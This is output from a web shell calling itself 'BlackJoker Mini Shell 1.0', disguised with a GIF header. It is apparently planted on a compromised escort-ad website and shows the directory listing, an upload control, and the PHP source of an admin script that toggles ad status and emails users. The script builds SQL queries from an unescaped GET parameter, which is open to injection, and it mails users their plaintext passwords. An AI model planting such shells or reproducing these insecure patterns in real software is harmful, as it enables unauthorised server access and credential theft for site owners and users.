GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/admin/
Upload File :
Current File : /home/serb/www/admin/update_postad.php

<?
	include("sessionout.php");
 	include("../lib/globals.php");
 	include("../lib/common.php");
 	include("../lib/functions.php");
	
?>
<?
$id=$_GET['id'];
$sql="SELECT * FROM escort_details WHERE id='$id'";
$res=execute_query($sql);
$row=mysql_fetch_array($res);
$status=$row['status'];
if($status=='a')
{
	$newstatus='u';
}
else
{
	$newstatus='a';
}
$sql2="UPDATE escort_details SET status='$newstatus' WHERE id='$id'";
execute_query($sql2);

if($newstatus=='a')
{
	$sqlupdateuser="UPDATE user_info SET status='a' where userid='".$row['user_id']."'";
	execute_query($sqlupdateuser);
	}

if($newstatus=='a')
 {
	 	$sql_email="select * from escort_details where id='$id'";
		$res_email=execute_query($sql_email);
		$row_email=mysql_fetch_array($res_email);
		
		$sql_userinfo="select * from user_info where userid='".$row_email['user_id']."'";
		$res_userinfo=execute_query($sql_userinfo);
		$row_userinfo=mysql_fetch_array($res_userinfo);
		
		
		
		$to = $row_email['email']; 
		 // $to = "subhrajyoti.mca11@gmail.com";
		$subject="Your Ad is now Active"; 
		
		if($row_email['escort_type']=='agency')
		{
		
		$body="<html>
												<head>
												  <title>Your Ad is now Active</title>
												</head>
												<body>
												<table style='padding:10px; color:#000;'>
													<tr><th></th></tr>
													<tr><td><br/></td></tr>
													<tr>
													  <td>Hey,thanks for posting with us!</td>
													</tr>
													<tr>
													  <td>Your Ad is now Active.</td>
													</tr>													
													
													<tr height='10'></tr>
													<tr>
													  <td>Important!!! scam warning</td>
													</tr>
													<tr>
														<td>Some Details.......</td>
													</tr>
													<tr>
														<td>Name:".$row_email['nickname']."</td>
														
													</tr>
													<tr>
														<td>Email:".$row_email['email']."</td>
													</tr>
													<tr>
														<td>State :".$row_email['escort_state']."</td>
													</tr>
													<tr>
														<td>City :".$row_email['escort_city']."</td>
													</tr>
													<tr>
														<td>Ad Creation Date :".$row_email['creation_date']."</td>
													</tr>
													
												  </table>
												</body>
												</html>";
												
												
		}
		else
		{
			$body="<html>
												<head>
												  <title>Your Ad is now Active</title>
												</head>
												<body>
												<table style='padding:10px; color:#000;'>
													<tr><th></th></tr>
													<tr><td><br/></td></tr>
													<tr>
													  <td>Hey,thanks for posting with us!</td>
													</tr>
													<tr>
													  <td>Your Ad is now Active.</td>
													</tr>
													<tr>
													  <td>To edit/Delete your posting or to use other site features your login credentials are</td>
													</tr>
													<tr>
													  <td>Username:".$row_userinfo['username']."</td>
													</tr>
													<tr>
													  <td>Password:".$row_userinfo['password']."</td>
													</tr>
													
													<tr>
													  <td>To login in to your account click here <a href='http://escortservice.org/login.php?newuser=1' style='color:#AD0066;'>Logoin</a></td>
													</tr>
													<tr>
													  <td>Do not delete this email-you might nedd edit or delete your post in futre.</td>
													</tr>
													<tr height='10'></tr>
													<tr>
													  <td>Important!!! scam warning</td>
													</tr>
													<tr>
														<td>Some Details.......</td>
													</tr>
													<tr>
														<td>Name:".$row_email['nickname']."</td>
														
													</tr>
													<tr>
														<td>Email:".$row_email['email']."</td>
													</tr>
													<tr>
														<td>State :".$row_email['escort_state']."</td>
													</tr>
													<tr>
														<td>City :".$row_email['escort_city']."</td>
													</tr>
													<tr>
														<td>Ad Creation Date :".$row_email['creation_date']."</td>
													</tr>
													
												  </table>
												</body>
												</html>";
			
		}
												// To send HTML mail, the Content-type header must be set
												$headers  = 'MIME-Version: 1.0' . "\r\n";
												$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
												
												// Additional headers
												$headers .= 'From: escortservice <support@escortservice.org>' . "\r\n";
													
												
												mail($to, $subject, $body, $headers);
		
		
		
		
		
	 
 }



?>
<script language="javascript">
	location.href="list_post_ad.php";
</script>

./BlackJoker Mini Shell 1.0